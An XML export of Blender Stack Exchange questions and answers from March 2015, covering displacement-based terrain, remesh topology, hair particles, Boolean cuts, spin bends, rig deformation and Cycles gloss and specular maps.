  <row Id="27453" PostTypeId="2" ParentId="27451" CreationDate="2015-03-21T14:50:52.727" Score="6" Body="&lt;p&gt;You need to use a displacement modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To set this up, add a sub-surf modifier and set it to simple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/z9aP2.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA; This will subdivide the plane. You will need to set the division to create a number of vertices equal to the resolution of your map. This works in binary, so if you map is 2&lt;sup&gt;9&lt;/sup&gt; x 2&lt;sup&gt;9&lt;/sup&gt; you will wan't to set it to 9. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add the displacement modifier, and add your texture to it. You will now need to calibrate the strength. You will need to apply any scale &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;A&lt;/kbd&gt; the default strength of one sets it to about 2/3 of a meter tall. Find the total height of the tallest point on you map, and take the height &lt;code&gt;h&lt;/code&gt; and times it by 2/3, &lt;code&gt;(h)(2/3)&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can double check that the height is correct by hitting &lt;kbd&gt;N&lt;/kbd&gt; and look at the dimensions in the property panel. This will allow you to fine tweak the results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6diwa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2015-03-21T14:57:36.290" LastActivityDate="2015-03-21T14:57:36.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27454" PostTypeId="2" ParentId="27451" CreationDate="2015-03-21T15:45:20.330" Score="11" Body="&lt;p&gt;Import an image with the &lt;em&gt;Images as planes&lt;/em&gt; add-on, to create a plane with the same proportions as the image you want to use on the landscape.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/67ECn.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9SrtV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9SrtV.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Enter edit mode &lt;kbd&gt;Tab&lt;/kbd&gt;, and subdivide your mesh.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dxTjH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dxTjH.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;(On version 2.7 press &lt;kbd&gt;W&lt;/kbd&gt;)&lt;/p&gt;&#xA;&lt;p&gt;Start with 100 subdivisions.&lt;/p&gt;&#xA;&lt;p&gt;The number of subdivisions will be directly proportional with the level of detail for your displacement.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6JyNl.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6JyNl.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Exit Edit mode (Tab)&lt;/p&gt;&#xA;&lt;p&gt;Add a displace modifier with the following settings: Direction &lt;strong&gt;Normal&lt;/strong&gt;, Texture Coordinates &lt;strong&gt;UV&lt;/strong&gt; (The UV map has been generated automatically when you use the import images as planes)&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/40sXF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/40sXF.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HlyjM.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Assign the texture to be used with the displacement modifier.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8Bz8o.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Rtqg8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Rtqg8.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Your plane will deform using the texture.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/T84nb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/T84nb.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;At this point you can subdivide further or add a subdivision surface modifier for better detail. To control the height on the deformation play with the &lt;em&gt;Strength&lt;/em&gt; value on the displace modifier.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/UYvV6.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UYvV6.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;But &lt;strong&gt;be very careful with the subdivision modifier&lt;/strong&gt;. It is quite easy to create a very large number of subdivisions, and that might push your system's performance to the edge or make it crash. Read:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/28222/blender-render-crash-when-using-subsurf-modifiers/28283#28283&quot;&gt;Blender render crash when using subsurf modifiers.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="92768" LastEditorDisplayName="user1853" LastEditDate="2020-07-19T20:18:06.540" LastActivityDate="2020-07-19T20:18:06.540" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="27455" PostTypeId="1" CreationDate="2015-03-21T16:17:40.950" Score="3" ViewCount="443" Body="&lt;p&gt;Blender's remesh tool produces a mesh of quad faces, but the vertices range from 3 to 5 connected edges. For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TZLz7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to be able to remesh so that every vertex has 4 connected edges, so that the mesh is a simple grid. This would be an easier topology for me to work with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do that? If so, why doesn't remesh do that by default? If it isn't possible, what's the difficulty?&lt;/p&gt;&#xA;" OwnerUserId="11518" LastActivityDate="2020-06-09T01:10:48.487" Title="Number of edges per vertex in remesh" Tags="&lt;mesh&gt;&lt;topology&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27456" PostTypeId="1" AcceptedAnswerId="27459" CreationDate="2015-03-21T17:03:31.570" Score="3" ViewCount="671" Body="&lt;p&gt;I have a small sphere on which I place a couple hair particles in the particle editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the hair particles have simple children, the sphere is so small that the appear to be emitted from above the surface:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MADEM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to fix this artifact? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A reasonable fix would be to emit the hair from a smaller sphere inside my actual sphere, but I'm wondering if there is a way to avoid having the extra emission object.&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="241" LastEditDate="2015-03-21T17:15:31.103" LastActivityDate="2015-03-21T19:19:51.997" Title="How to get rid of hair root location artifact" Tags="&lt;particles&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27457" PostTypeId="1" CreationDate="2015-03-21T17:14:14.193" Score="0" ViewCount="27" Body="&lt;p&gt;I have a scene set up with several layers. Everything is lit correctly and, when I change the shading mode to rendered, everything's just great. The moment I actually render the image though, only one layer shows up. Is there a control panel for setting the layers to render?&lt;/p&gt;&#xA;" OwnerUserId="13042" LastActivityDate="2015-03-21T17:14:14.193" Title="All layers are not rendering" Tags="&lt;rendering&gt;&lt;render-layers&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-03-22T09:13:20.583" ContentLicense="CC BY-SA 3.0" />
  <row Id="27458" PostTypeId="2" ParentId="15454" CreationDate="2015-03-21T17:25:51.817" Score="2" Body="&lt;p&gt;Since your object is sphere you can use the sphere collusion bound with the appropriate radius :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Gl67V.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Game_Engine/Physics/Object/Static&quot; rel=&quot;nofollow noreferrer&quot;&gt;the WIKI entry about collusion bonds with example files&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-21T17:25:51.817" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27459" PostTypeId="2" ParentId="27456" CreationDate="2015-03-21T19:07:54.320" Score="4" Body="&lt;p&gt;Enter the &lt;strong&gt;&lt;em&gt;Particle Edit Mode&lt;/em&gt;&lt;/strong&gt;.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/MXMGn.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change the &lt;em&gt;Particle select and display mode&lt;/em&gt; to &lt;strong&gt;&lt;em&gt;Point select mode&lt;/em&gt;&lt;/strong&gt;.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/SuMRq.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Uncheck the &lt;strong&gt;&lt;em&gt;Lenghts&lt;/em&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;em&gt;Root&lt;/em&gt;&lt;/strong&gt; boxes in Options panel, then select all the hair particles with &lt;em&gt;border select tool&lt;/em&gt; (&lt;kbd&gt;B&lt;/kbd&gt;) and move them closer to the sphere (&lt;kbd&gt;G&lt;/kbd&gt;).&#xA;&lt;img src=&quot;https://i.stack.imgur.com/3q1XK.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the result.&lt;img src=&quot;https://i.stack.imgur.com/xiIC9.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-03-21T19:19:51.997" LastActivityDate="2015-03-21T19:19:51.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27460" PostTypeId="2" ParentId="27253" CreationDate="2015-03-21T19:45:04.453" Score="1" Body="&lt;p&gt;bge offers methods to render to texture, in the renderTexture part of bge, that can&#xA;export a png, or you can snapshot a view of a item on frame 0, the advantage here,&#xA;is you can load from external blends, and then snap the image, so if you change anything,&#xA;you just save the external file and the main file updates automagically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;there is also ctrl+print screen to copy a image to paste that is a screenshot.&lt;/p&gt;&#xA;" OwnerUserId="13034" LastActivityDate="2015-03-21T19:45:04.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27461" PostTypeId="1" AcceptedAnswerId="27466" CreationDate="2015-03-21T20:00:13.130" Score="2" ViewCount="103" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/deoH4.jpg&quot; alt=&quot;The selected curve and the unselected curve are perpendicular to each other. The selected curve passes through the unselected curve at arbitrary points.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hi,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to have about an efficient way of cropping the selected curve at every point where it intersects with the unselected curve (see picture).&lt;/p&gt;&#xA;" OwnerUserId="13273" LastEditorUserId="13273" LastEditDate="2015-03-21T20:09:03.553" LastActivityDate="2015-03-21T20:58:39.683" Title="Cropping two perpendicular curves at their intersections" Tags="&lt;mesh&gt;&lt;edges&gt;&lt;faces&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="27462" PostTypeId="1" CreationDate="2015-03-21T20:20:16.123" Score="2" ViewCount="453" Body="&lt;p&gt;I have glowing particles (emmiter shader) visible in render with RGB background. Once I switch to render with Transparent background (Render -&gt; Film -&gt; Transparent) I cannot see the particles anymore. I can only see particles when there's another object in the scene behind them.&lt;/p&gt;&#xA;" OwnerUserId="625" LastActivityDate="2015-04-20T20:30:24.820" Title="Glowing particles not visible when rendering RGBA with Transparent Background" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27464" PostTypeId="2" ParentId="27455" CreationDate="2015-03-21T20:34:20.007" Score="1" Body="&lt;p&gt;The &lt;a href=&quot;https://www.blender.org/manual/modifiers/generate/remesh.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Remesh modifier&lt;/a&gt; only generates quads.&lt;br&gt;&#xA;If you need proof, select your object and with the remesh modifier applied, run this script.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for polygon in bpy.context.object.data.polygons:&#xA;    print(len(polygon.vertices))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will print out the number of vertices for each face in the selected object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even for areas that look like triangles, they really are quads just with vertices doubled up. In this gif, I move two vertices that are doubled up in a mesh with the remesh modifier applied.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/uICuf.gif&quot; alt=&quot;animated gif&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-03-21T20:34:20.007" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27465" PostTypeId="1" AcceptedAnswerId="27483" CreationDate="2015-03-21T20:53:51.883" Score="9" ViewCount="6279" Body="&lt;p&gt;If there is an object which has a property that which varies with each frame, would it be possible to to build a script that can access that property before each frame is rendered and thus change another property?&lt;/p&gt;&#xA;" OwnerUserId="11175" LastActivityDate="2015-03-22T06:00:21.213" Title="Running a script for each frame" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="27466" PostTypeId="2" ParentId="27461" CreationDate="2015-03-21T20:58:39.683" Score="1" Body="&lt;p&gt;You can achieve this result by using the &lt;em&gt;Boolean&lt;/em&gt; modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select your large curved mesh, and add a &lt;em&gt;Boolean&lt;/em&gt; modifier set to &lt;em&gt;Difference&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/djTcg.gif&quot; alt=&quot;Add modifier&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will make the curved wall follow the contours of the arch in the direction of the &lt;em&gt;Normals&lt;/em&gt;. You may need to re-calculate them (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;N&lt;/kbd&gt;) to get the desired result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wfpNU.gif&quot; alt=&quot;Boolean Normals&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if you apply the modifier, you can remove the arch mesh and you should end up with a completed single mesh with the desired arch shape in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wNwuA.jpg&quot; alt=&quot;Final mesh&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-03-21T20:58:39.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27468" PostTypeId="1" AcceptedAnswerId="27487" CreationDate="2015-03-21T21:23:29.230" Score="0" ViewCount="1048" Body="&lt;p&gt;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?247271-Cycles-Automatic-Material-Textures-Node&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://blenderartists.org/forum/showthread.php?247271-Cycles-Automatic-Material-Textures-Node&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/13610/convert-materials-from-cycles-to-blender-internal-render&quot;&gt;Convert Materials from Cycles to Blender Internal Render&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These links claim that it IS possible to transfer Material data between Cycles and Internal, as long as they were created in the Node Editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both have very different options, (one has BDSF shaders and the other has plain old Diffuse and Specular whatnot) but Cycles is much better for designing materials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, when making animations, Cycles render uses a LOT more resources than Internal render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to design a material in Cycles render (node editor), use the scripts in the links above to move the node data over to Blender Internal, and render animations and scenes with intact Cycles Material data, even though both offer different kinds of nodes for material design?&lt;/p&gt;&#xA;" OwnerUserId="2613" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2015-11-22T21:19:47.830" Title="Is it possible to transport materials between the Internal render and Cycles render for animation?" Tags="&lt;cycles-render-engine&gt;&lt;animation&gt;&lt;materials&gt;&lt;nodes&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27469" PostTypeId="1" AcceptedAnswerId="27471" CreationDate="2015-03-21T21:29:30.857" Score="3" ViewCount="4731" Body="&lt;p&gt;I'm trying to bend &quot;#Object 1&quot; to something like &quot;#Object 2&quot; but with less triangle clutter and an equally distributed inner turn.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried the &quot;Spin&quot; tool on &quot;#Object2&quot; and a &quot;Bevel&quot; at the inner edge but that's not working very well as one can see in the image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/klb3O.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/klb3O.jpg&quot; alt=&quot;screen shot of blender showing a 90° bend&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any hint how I could achieve an evenly distributed 90° turn?&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="822" LastEditDate="2015-03-21T23:14:29.177" LastActivityDate="2015-05-20T15:13:33.337" Title="How to achieve an evenly distributed 90° turn?" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27470" PostTypeId="1" CreationDate="2015-03-21T21:31:43.517" Score="2" ViewCount="924" Body="&lt;p&gt;I building simple car animation. I started with one axis with wheels. I have problem with fixed constraint, it behave like some spring, i connect cylinders and cube like on picture. I attached also video what happens :-/ Do you know why something like this occur ?&#xA;&lt;br&gt;Picture:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/nf1kc.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Video:&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=qTU5fxMvxbk&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=qTU5fxMvxbk&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="806" LastActivityDate="2015-04-09T22:28:00.420" Title="Rigid body fixed constraints looks like springs" Tags="&lt;physics&gt;&lt;constraints&gt;&lt;rigid-body-simulation&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27471" PostTypeId="2" ParentId="27469" CreationDate="2015-03-21T21:49:07.350" Score="7" Body="&lt;p&gt;Easy way to do that is with spin selection around cursor. Put the cursor where the radius of the bend should be, select the edges which you want to extrude and hit Spin button in Tools panel. You can adjust the spin angle and number of segments in spin properties panel or by hitting &lt;kbd&gt;F6&lt;/kbd&gt; button right after spin operation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the spin operation is relative to the view angle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/N2OxW.png&quot; alt=&quot;Spin&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="12820" LastEditDate="2015-05-20T15:13:33.337" LastActivityDate="2015-05-20T15:13:33.337" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27473" PostTypeId="2" ParentId="8458" CreationDate="2015-03-21T22:49:55.653" Score="0" Body="&lt;p&gt;I watched the same Tutorial ( &lt;a href=&quot;https://www.youtube.com/watch?v=cGvalWG8HBU&amp;amp;index=54&amp;amp;list=WL&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=cGvalWG8HBU&amp;amp;index=54&amp;amp;list=WL&lt;/a&gt; ) and spent days and many hours trying to figure the same problem out. I am a noob and this was my first rigging so that didn't help either. What fixed the deformation for me was making sure the joints (Elbow, Knee etc.) were bent (even slightly) in the direction they are intended to bend. When you parent the mesh to the bones with automatic weights or any other way with the pole targets set the mesh deforms. This deformation does not happen until the pole target is set though. In that tutorial they are set before the parenting of the mesh. This is because blender (I don't why) turns them off target which twists the mesh in the direction blender turned them. You correct this by changing the pole angle in the bone constraint menu to the correct position. This lines up the mesh and the joint. The mesh is twisted back to its correct position and the joint bends in the correct direction. Now if the bones are straight (my problem) or bent in the wrong direction no matter what you do (line up the bones axis or try to correct the pole angle) the mesh will not be corrected (not deformed) if the joint is in the correct position. Even if you have everything already set up ( mesh parented to the bones, the IK constraints, etc.) you can go into edit mode, position the joints in the correct direction by clicking on the ball between the bones where the joint bends and move them into he correct direction. Go into pose mode click on the bone that has the IK constraint go to the property panel click on the bone constraint tab (little bone with the chain) and change the pole angle till the mesh is perfect. You can hit the tab button to go back and forth from edit mode and pose mode to see if you have lined up the mesh correctly with the pole angle.    &lt;/p&gt;&#xA;" OwnerUserId="13307" LastActivityDate="2015-03-21T22:49:55.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27474" PostTypeId="1" AcceptedAnswerId="27488" CreationDate="2015-03-22T01:10:28.203" Score="0" ViewCount="64" Body="&lt;p&gt;I am making somewhat of an FPS, I am making where no bullets come out of the barrel, but a ray comes out. I know how to make a ray with distance and detect a property, but that's not the problem. I am making a penetration system where the ray goes through objects with a certain property (&quot;penetrable&quot;). I can do this, but the way I want this to work is the following: as soon as the ray (first ray) hits a penetrable object, a &lt;em&gt;new&lt;/em&gt; ray is created. Also, when the ray hits the property, it casually would send a message (&quot;x&quot;) to tell the other player to lose health. If the ray is a ray that is &lt;em&gt;new&lt;/em&gt; (penetrated through an object) one, I need it to send the other player a message &quot;xy&quot;. This would make it possible to have the bullets deal less damage through walls, and make it possible to reward you differently. So what am I asking for? I would like to have a ray come out of the barrel (if it hits someone before it penetrated, it sends the regular &quot;lose x hp message.&quot;), and if it hits a property &quot;penetrable,&quot; a new ray would be created that sends players the message &quot;lose x-y&quot; if it hits. I know this sounds very hard, but I can already make it very far; I am just not sure if I am doing this right. Any help is appreciated, thanks!&lt;/p&gt;&#xA;" OwnerUserId="1597" LastActivityDate="2015-03-22T19:25:34.707" Title="Start new rays after trigger?" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27475" PostTypeId="1" AcceptedAnswerId="27480" CreationDate="2015-03-22T01:59:40.037" Score="6" ViewCount="23419" Body="&lt;p&gt;I have never seen anyone apply a gloss and a spec. map in cycles and I would be very interested to see how this is done so I can start using the gloss textures I have from gametextures.com. Some also have a height map which I assume I am supposed to just use on a displacement modifier.&lt;/p&gt;&#xA;" OwnerUserId="7832" LastEditorUserId="2217" LastEditDate="2015-03-22T03:12:06.613" LastActivityDate="2016-12-27T23:42:27.200" Title="How do you apply a gloss and spec map on one cycles material?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="27476" PostTypeId="2" ParentId="27469" CreationDate="2015-03-22T02:18:27.260" Score="2" Body="&lt;p&gt;You could use a path and the curve modifier for some real good results as shown below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this use the start up file(box, camera, light).&#xA;In front view set the box X, Y, Z values as follows 3, 2, 5.&lt;br&gt;&#xA;Next, create a 'path' from the tools section and have it aligned to the front view after-which you can shape it to a general 90 degree angle for the box to follow.&lt;br&gt;&#xA;Next select the box and enter 'edit' mode and subdivide it at least 3 times. (you can play with even 1 subdivision if you want).&lt;br&gt;&#xA;Go back to 'object' mode with the box still selected and put the 'curve' modifier on it and select the 'nurbspath' from the object dropdown and make sure the deformation axis is set to X.&lt;br&gt;&#xA;Now use the 'grab' transform and move it along the X axis until it comes in contact with the 'path' and it should deform quite nicely along that path as show in my picture. (the picture shows a lot of the setting I just spoke about if you look closely)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cbg6A.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cbg6A.png&quot; alt=&quot;screen shot of blender&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13311" LastEditorUserId="2217" LastEditDate="2015-03-22T17:37:00.133" LastActivityDate="2015-03-22T17:37:00.133" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27477" PostTypeId="1" AcceptedAnswerId="28351" CreationDate="2015-03-22T02:41:38.357" Score="1" ViewCount="756" Body="&lt;p&gt;I'm trying to recreate the PS3 xmb wave in BGE and have hit some snags.&lt;br&gt;&#xA;So first I made a subdivided plane. Then made an empty object and attached a displacement &quot;cloud&quot; map to its movements for the subdivided plane. Then on the graph editor I made a generator modifier with &quot;+0.001&quot; on the X axis. Then did the same for all the other orientations. Made a wave modifier on the X also. After tweaking the texturing on the wave the result is quite nice. Plays beautifully in the timeline, just doesn't play when the game engine is initiated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've set up an &quot;Always&quot; logic brick to the empty objects animation, witch is in turn connected to the displacement map of the wave. The modifiers don't work when the game starts, because it seems to just freeze the wave in place whenever I start it with &lt;kbd&gt;P&lt;/kbd&gt;. I attached a cube to the empty object to make sure the animation was working and it was. So I'm assuming it has to do with the Modifiers. The intended result is more of a live &quot;random&quot; wave.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1JNAJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1JNAJ.png&quot; alt=&quot;screen shot of blender&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyway to get the wave/displace modifier's to function during the game?&lt;/p&gt;&#xA;" OwnerUserId="13310" LastEditorUserId="2217" LastEditDate="2015-03-22T03:16:41.277" LastActivityDate="2015-04-11T02:31:16.117" Title="Wave/Displace Modifier in BGE?" Tags="&lt;animation&gt;&lt;game-engine&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27478" PostTypeId="2" ParentId="27475" CreationDate="2015-03-22T03:06:28.400" Score="8" Body="&lt;p&gt;I used the 4 images on their &lt;a href=&quot;http://gametextures.com/blog/pricing/#x-content-band-7&quot; rel=&quot;noreferrer&quot;&gt;pricing page&lt;/a&gt; in my demo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;Click for full size&lt;/sub&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ASamQ.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ASamQ.png&quot; alt=&quot;cycles nodes&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;Albedo Map&lt;/em&gt; goes in to the &lt;em&gt;Diffuse&lt;/em&gt; node as the base color.&lt;br&gt;&#xA;The &lt;em&gt;Specular Map&lt;/em&gt; goes in to the &lt;em&gt;Glossy&lt;/em&gt; node as the specular color. (metals are one of the few materials that have a colored specular highlight.)&lt;br&gt;&#xA;The &lt;em&gt;Gloss Map&lt;/em&gt; is used as the mix factor in the &lt;em&gt;Mix Shader&lt;/em&gt; node between the diffuse and the glossy.&lt;br&gt;&#xA;The &lt;em&gt;Normal Map&lt;/em&gt; get plugged in to a &lt;em&gt;Normal Map&lt;/em&gt; node then connected to both the diffuse and the glossy nodes.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-03-22T03:06:28.400" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
